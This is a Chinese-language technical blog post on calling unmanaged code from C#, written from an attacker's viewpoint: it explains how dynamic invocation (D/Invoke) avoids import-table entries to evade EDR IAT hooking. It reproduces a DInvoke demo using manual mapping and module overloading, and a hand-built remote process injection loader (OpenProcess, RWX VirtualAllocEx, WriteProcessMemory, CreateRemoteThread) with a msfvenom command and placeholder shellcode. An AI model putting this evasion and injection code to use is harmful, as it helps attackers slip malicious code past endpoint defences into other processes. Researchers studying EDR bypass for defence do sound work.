【知识回顾】关于 CSharp 中调用非托管代码的方法

本文并非从专业开发的角度去阐述托管/非托管的概念及托管代码如何调用非托管代码,而是从日常的工具编写中及使用中遇到的一些问题,带着解决问题的态度出发,去看待这么一个过程。

整个过程并非专业解析,而只是助于我们理解罢了。

0x00 前言

托管/非托管是微软的 .NET Framework 中特有的概念,其中,非托管代码也叫本地(Native)代码。与 Java 中的机制类似,也是先将源代码编译成中间代码(MSIL,Microsoft Intermediate Language),然后再由 .NET 中的 CLR 将中间代码编译成机器代码。

在 Csharp 中,托管代码引用非托管代码的方式一般有两种:

  • P/Invoke(平台调用)
  • Delegate(委托)-> 后续转换为 D/Invoke(动态调用)

而个人在日常工具编写的过程中,经常用到的调用方式是 P/Invoke。这种方式普遍应用于各大工具开发中,对于这种方式,从攻击角度来看,存在一些缺陷:

  • 通过 P/Invoke 进行的任何 Windows API 引用都将在 .NET 程序集的 “导入表” 中产生一个相应的条目;
  • 在存在任何可监视 API 调用(如通过 API Hooking)的安全产品,都会在 P/Invoke 调用任何 API 上看到警告/阻止,这个 Hook 方式称之为 IAT hooking

而动态调用的目的是提供一种访问(调用)这些 Windows API 的替代方案,而不会留下这些特定的指标(并不是说动态调用没有自身的指标)。

但是关于 Delegate 的使用,我们在大多数利用工具的开发中,很少人会去用到。但是如果去搜索这东西,会发现很早就有人使用它来写了东西,因此我们可以很快的找到资料进行学习。Delegate 主要用于解决 Csharp 和 DLL 之间的数据传送问题:

1
在这种混合编程中,Csharp 和 DLL 之间如何进行数据传送?这个问题起始很复杂,像 intdouble 这种基本的数据类型,是很好传递的。到了 bytechar,就有点复杂了,更复杂的还有 string 和 stringBuilder,以及结构体的传递等。

若传递的是函数指针,有两种方法:

  • 由于 Csharp 中没有函数指针的概念,因此采用委托(Delegate)的方式,使用 Intptr 存储指针,并使用 ref 获得地址(&);

  • 另一种是在 Csharp 中编写非托管的代码,用 unsafe 声明:

    1
    2
    3
    4
    5
    unsafe
    {
    // 非托管代码
    // 在非托管代码中,即可进行指针相关的操作。
    }

因此本文会对 P/InvokeDelegate 两种调用方式进行一些说明,并说明动态调用为什么可以绕过 IAT hooking

0x01 IAT hooking

Hook 的概念就不累述了

即使是基于 CS 的 execute-assembly 等内存执行方法,EDR 通过 Hook 进程,也能捕获到进攻性行为。针对这种情况,@CCob 巨佬在他的文章中也给了一个非常奈斯的例子,证明的这个 POC,以及如何绕过这种 Hooking。一个高效的 EDR,会尽可能的 Hooking 底层函数,如 NT 级别的 Win32 API。下图是一个很好的例子,充分阐明了 EDR 的工作原理(其中 ntdll.dll 负责向 Windows 内核进行系统调用):

EDR 的 Hook 方式主要有两种:

  • IAT hooking:IAT 是 Import Address Table 的缩写。每个可执行程序都拥有该 IAT 区域,程序运行时,PE 装载器会将 Win32 API 的函数地址记录到 IAT 区域,在 EDR 的 hook.dll 注入到程序后,当程序调用到记录在内的函数时,则跳转至 hook.dll(至于是什么函数才跳转,由 EDR 决定)。
  • Inline hooking:是一种通过修改机器码的方式来实现 Hook 的技术。

我们这就讲讲 IAT hooking 就好。关于 IAT hooking,可一看看下面的图:

在此示例中,就是简单的调用一个 MessageBoxA 的程序,该程序将会在 Import Address Table 中查找 MessageBoxA 的地址,以便它能够顺利的运行。

我们不知道的是, EDR 参与了其中,其实 EDR 替换了程序中的 IAT 区域内容。在程序调用 MessageBoxA 时,实际上该调用已经被 EDR 强制跳转到它自身 dll 的地址,因此最后是由 EDR 判断传递的数据是否是恶意的,还是正常的。如果是恶意代码,则拦截执行,反之。

从进攻角度来看,我们可以利用系统调用来绕过这些 Hook 方法,比较有参考的例子有:

0x02 Platform Invocation

Csharp 能够像 C/C++ 一样可以调用 Win32 API 函数,大部分调用的方式是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using System;
using System.Runtime.InteropServices;

namespace DemoApp
{
static class Program
{

// Import user32.dll (containing the function we need) and define
// the method corresponding to the native function.
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);

public static void Main(string[] args)
{
// Invoke the function as a regular managed method.
MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
}
}
}

在 .NET 中,这个调用过程被称为 Platform Invoking,简称 P/invoke 。该机制允许 .NET 应用程序方位非托管库(DLL)中的数据和 API。通过使用 P/invoke,Csharp 开发人员可以轻松地调用标准 Win32 API。

该过程主要是利用 System.Runtime.InteropServices 命名空间来完成,且由 CLR 管理。下图显示了 P/invoke 中非托管代码与托管代码之间的联系及过程:

P/invoke 调用非托管函数时,它将执行以下操作序列:

  1. 找到包含函数的 DLL;
  2. 将 DLL 加载到内存中;
  3. 在内存中找到该函数的地址,并将其参数压入堆栈,根据需要封送数据;
  1. 将控制权转移到非托管功能。

P/invoke 会将由非托管函数生成的异常抛出给托管调用方。

但是,利用 .NET 也存在操作上的缺点(第一小节中已经说明)。由于是 CLR 负责将 .NET 翻译成机器代码(语言),而可执行文件并没有直接翻译成这种代码。因此,可执行文件将整个代码库存储它的汇编代码中,因此稍微逆向该可执行文件,就可以看到全部信息。比如以下的一些信息:

0x03 Delegate

现在好多的工具都开始以动态调用/执行的方式进行编写,这是非常有趣的一点,也是非常值得我们去学习。D/invoke 允许我们调用 P/invoke 所使用的 API,但它不是静态导入,而是动态导入。这样子就不会将 Win32 API 地址写入 Import Address Table 中,这就意味着我们完全的绕过了 IAT hooking。所以如果程序是使用了动态调用,我们是无法查看程序的导出表的。

那么,我们怎么实现动态调用呢?与其使用 P/Invoke 导入我们想调用的 API,不如将 DLL 手动加载到内存中。此后,我们会得到一个指向该 DLL 中的一个函数的指针,后续可以在传参的同时从指针中调用该函数。

那么说到指针,不得不说 C# 中的 Delegate(委托)了,该部分内容在第一小节中有讲到。因此我们直接看看具体是怎么实现的。

我们的目的是在内存中调用非托管代码

可以通过 Delegate 的来实现这一点。.NET 包含了 Delegate API,作为在类中包装方法/函数的一种方式。如果你们曾经使用反射来枚举类中的方法,那么你可以自己观察一下,实际上就是一种 Delegate 的形式。

Delegate API 有很多奇妙的功能,比如可以从一个函数的指针实例化一个 Delegate,并在传递参数的同时动态调用该函数。这里主要用的函数是:GetDelegateForFunctionPointer

该函数原型为:

1
public static Delegate GetDelegateForFunctionPointer (IntPtr ptr, Type t);

需要两个参数,分别为:

  • IntPtr ptr:要转换的非托管函数指针。
  • Type t:要返回的委托人的类型,也就是要传入的非托管代码的函数原型。

当看到 Type t 这个类型参数时,可能会不理解。这其实就是操作者传入要调用的非托管代码的函数原型的地方。这可以让 Delegate 知道当它调用函数时如何设置 CPU 寄存器和栈。

如果你记得在 P/Invoke 中,肯定用过类似这样的方式来设置函数:

1
2
3
4
5
6
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
uint dwProcessId
);

定义一个委托的方式与此类似,可以像定义变量一样定义一个委托。同时还要指定由委托人封装的函数时使用的调用约定(C++的标准调用约定是 StdCall),此处的调用约定务必一致,要不然会出现堆栈被破坏的情况。

1
2
3
4
5
6
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(
uint dwDesiredAccess,
bool bInheritHandle,
uint dwProcessId
);

一个函数原型就定义完成。

接下来就看看怎么获取函数的指针了。

如果了解一些 PE 结构,可以知道由于所有的程序在初始化运行时,本身都会加载一些模块(库),这些模块是保证程序能正常运行的基本要素。因此可直接在当前进程中查找所需模块,即可获取到基址。实现如下:

在获取模块基址之后,通过遍历模块导出表来解析函数的地址,具体实现,可以在 4.2 章节看到。这里还有一个要注意的问题,那就是如果程序在初始化时,所调用的库并没有在预加载的模块里面,那么上面的代码就不会返回结果。这种情况就需要从磁盘中查找所需 DLL。

基础条件已经满足,因此直接套用即可,这部分内容,TheWover 已经写好了库。

TheWover 写了一篇关于为什么使用 D/invoke 而非 P/invlke 的原因的文章,强烈推荐。并且他还发布了一个 NuGet 包,该库其实就是一个 Delegate 库和函数包装器,目前基本满足平时的工具开发需求,它实现了定义结构及功能,只需要引用即可。

0x04 示例

上面说了 TheWover 发布了他的 DInvoke 项目,这个项目主要是帮我们定义处理对应的结构及功能,否则需要自己去定义对应的结构。如果不想使用这个项目,那么自己手动构造即可,这个后续会说到。

4.1、使用 DInvoke

这里直接使用官方的示例。下面的例子演示了如何使用 DInvoke 动态查找和调用一个 DLL 的函数地址:

  • 获取 ntdll.dll 的基址。当它被初始化时,它被加载到每个 Windows 进程中,所以我们知道它已经被加载了。因此,我们可以搜索 PEB 的加载模块列- 表来找到它的引用。一旦我们从 PEB 中找到了它的基址,我们就输出地址;

  • 给定一个函数名称,使用 GetLibraryAddress 在 ntdll.dll 中找到一它的地址;

  • 给定一个函数的序号,使用 GetLibraryAddress 在 ntdll.dll 中找到一它的地址;

  • 给定一个函数的 HMACMD5 值,使用 GetLibraryAddress 在 ntdll.dll 中找到一它的地址;

  • 在获取 ntdll.dll 的前提下,使用 GetExportAddress 在内存中按给定的函数名查找地址。

再看看官方的另一个例子。在下面的示例中,我们先使用 P/Invoke 调用 OpenProcess。然后,我们再使用 D/Invoke 方式调用它(多种),并证明任何一种动态调用的机制都成功执行了非托管代码且绕过了 API hooking。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
///Author: TheWover
using System;
using System.Runtime.InteropServices;

using Data = DInvoke.Data;
using DynamicInvoke = DInvoke.DynamicInvoke;
using ManualMap = DInvoke.ManualMap;

namespace SpTestcase
{
class Program
{

[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
Data.Win32.Kernel32.ProcessAccessFlags processAccess,
bool bInheritHandle,
uint processId
);

static void Main(string[] args)
{
// Details
String testDetail = @"
#=================>
# Hello there!
# I demonstrate API Hooking bypasses
# by calling OpenProcess via
# PInvoke then DInvoke.
# All handles are requested with
# PROCESS_ALL_ACCESS permissions.
#=================>
";
Console.WriteLine(testDetail);

//PID of current process.
uint id = Convert.ToUInt32(System.Diagnostics.Process.GetCurrentProcess().Id);

//Process handle
IntPtr hProc;

// Create the array for the parameters for OpenProcess
object[] paramaters =
{
Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS,
false,
id
};

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 以 P/Invoke 方式调用 OpenProcess
Console.WriteLine("[?] Call OpenProcess via PInvoke ...");
hProc = OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine("[>] Process handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 使用GetLibraryAddress调用OpenProcess (underneath the hood)
Console.WriteLine("[?] Call OpenProcess from the loaded module list using System.Diagnostics.Process.GetCurrentProcess().Modules ...");
hProc = DynamicInvoke.Win32.OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine("[>] Process handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 在 PEB 中查找指定函数名称的地址
Console.WriteLine("[?] Specifying the name of a DLL (\"kernel32.dll\"), search the PEB for the loaded module and resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
IntPtr pkernel32 = DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr pOpenProcess = DynamicInvoke.Generic.GetExportAddress(pkernel32, "OpenProcess");

// Call OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.DynamicFunctionInvoke(pOpenProcess, typeof(DynamicInvoke.Win32.Delegates.OpenProcess), ref paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 手动映射 kernel32.dll
// 在 PEB 中查找指定函数名称的地址
Console.WriteLine("[?] Manually map a fresh copy of a DLL (\"kernel32.dll\"), and resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
Data.PE.PE_MANUAL_MAP moduleDetails = ManualMap.Map.MapModuleToMemory("C:\\Windows\\System32\\kernel32.dll");
Console.WriteLine("[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");

//Call OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "OpenProcess", typeof(DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 使用模块重载映射 kernel32.dll
// 在 PEB 中查找指定函数名称的地址
Console.WriteLine("[?] Use Module Overloading to map a fresh copy of a DLL (\"kernel32.dll\") into memory backed by another file on disk. Resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
moduleDetails = ManualMap.Overload.OverloadModule("C:\\Windows\\System32\\kernel32.dll");
Console.WriteLine("[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");

//Call OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "OpenProcess", typeof(DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
Console.WriteLine("[!] Test complete!");

// Pause execution
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

}
}
}

为了更好的说明实验结果,我们使用 API Monitor v2 比作 EDR,并钩住 kernel32.dll!OpenProcess,然后通过 API Monitor 运行该示例程序。接下来仔细观察那些用 PROCESS_ALL_ACCESS Flag 的调用,然后根据基址进行校对。结果如下图所示:

结果很明显,P/Invoke 的方式可以成功捕获,但使用 D/Invoke、手动映射和模块重载映射时,未成功捕获。

4.2、手动构造

为了更好的理解动态调用,我们可以尝试手动进行构造,这里我们使用 【知识回顾】进程注入-第一部分 中的代码注入代码,P/Invoke 的方式转由 D/Invoke 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate Boolean CloseHandle(IntPtr hObject);
}

关键实现类 DemoDInvoke

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
public class DemoDInvoke
{
/// <summary>
/// 遍历当前进程所加载的模块,获取指定模块的基址。
/// 这个基址可以传递给 GetProcAddress/LdrGetProcedureAddress,也可以用于手动导出解析
/// 该函数使用 .NET 的 System.Diagnostics.Process类
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">指定的 DLL 名称 (e.g. "ntdll.dll").</param>
/// <returns> 返回 IntPtr 形式的 DLL 基址,如果没有找到模块,则返回 IntPtr.Zero</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}

/// <summary>
/// 从当前进程加载的 DLL 中获取函数指针
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">指定的 DLL 名称 (e.g. "ntdll.dll").</param>
/// <param name="FunctionName">导出函数名.</param>
/// <returns>返回 IntPtr 形式的函数指针</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}

return GetExportAddress(hModule, FunctionName);
}

/// <summary>
/// 给定一个模块基址,通过手动遍历模块导出表来解析函数的地址。
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">指向当前进程中模块加载基址的指针</param>
/// <param name="ExportName">要搜索的导出函数名 (e.g. "NtAlertResumeThread").</param>
/// <returns>返回 IntPtr 形式的函数指针.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// 遍历内存中的 PE 标头
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}

// 读取 -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));

// 遍历(Loop the array of export name RVA's)
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}

if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
}

主类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class Program
{
static void Main(string[] args)
{
// msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f csharp
byte[] shellcode = { 0x31, 0x33, 0x33, 0x37 };

int pid = Convert.ToInt32(args[0]);

IntPtr pointer = DemoDInvoke.GetLibraryAddress("kernel32.dll", "OpenProcess");
DELEGATES.OpenProcess OpenProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenProcess)) as DELEGATES.OpenProcess;
IntPtr pHandle = OpenProcess((uint)STRUCTS.ProcessAccessRights.All, false, (uint)pid);

pointer = DemoDInvoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
DELEGATES.VirtualAllocEx VirtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx;
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)STRUCTS.MemAllocation.MEM_RESERVE | (uint)STRUCTS.MemAllocation.MEM_COMMIT, (uint)STRUCTS.MemProtect.PAGE_EXECUTE_READWRITE);

pointer = DemoDInvoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
DELEGATES.WriteProcessMemory writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;
if (writeProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten))
{

pointer = DemoDInvoke.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
DELEGATES.CreateRemoteThread CreateRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateRemoteThread)) as DELEGATES.CreateRemoteThread;
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, out UIntPtr lpThreadId);

pointer = DemoDInvoke.GetLibraryAddress("kernel32.dll", "CloseHandle");
DELEGATES.CloseHandle CloseHandle = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CloseHandle)) as DELEGATES.CloseHandle;
CloseHandle(hRemoteThread);
}
}
}

最后补上一些 STRUCTS,代码就完整了。

编译代码后,同上使用 API Monitor v2 比做 EDR,并且钩完所涉及的 API,它们分别是:

  • kernel32.dll!OpenProcess
  • kernel32.dll!VirtualAllocEx
  • kernel32.dll!WriteProcessMemory
  • kernel32.dll!CreateRemoteThread
  • kernel32.dll!CloseHandle

效果如下:

完全没有被钩住。这就完全绕过了 IAT hooking。这里仅是绕过了 IAT hooking,在实战中,还需要处理 shellcode。

查看导出表情况:

后续随着 DInvoke 的完善,直接应用该库即可。这样无需自己定义函数,省时省力。

0x05 参考

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!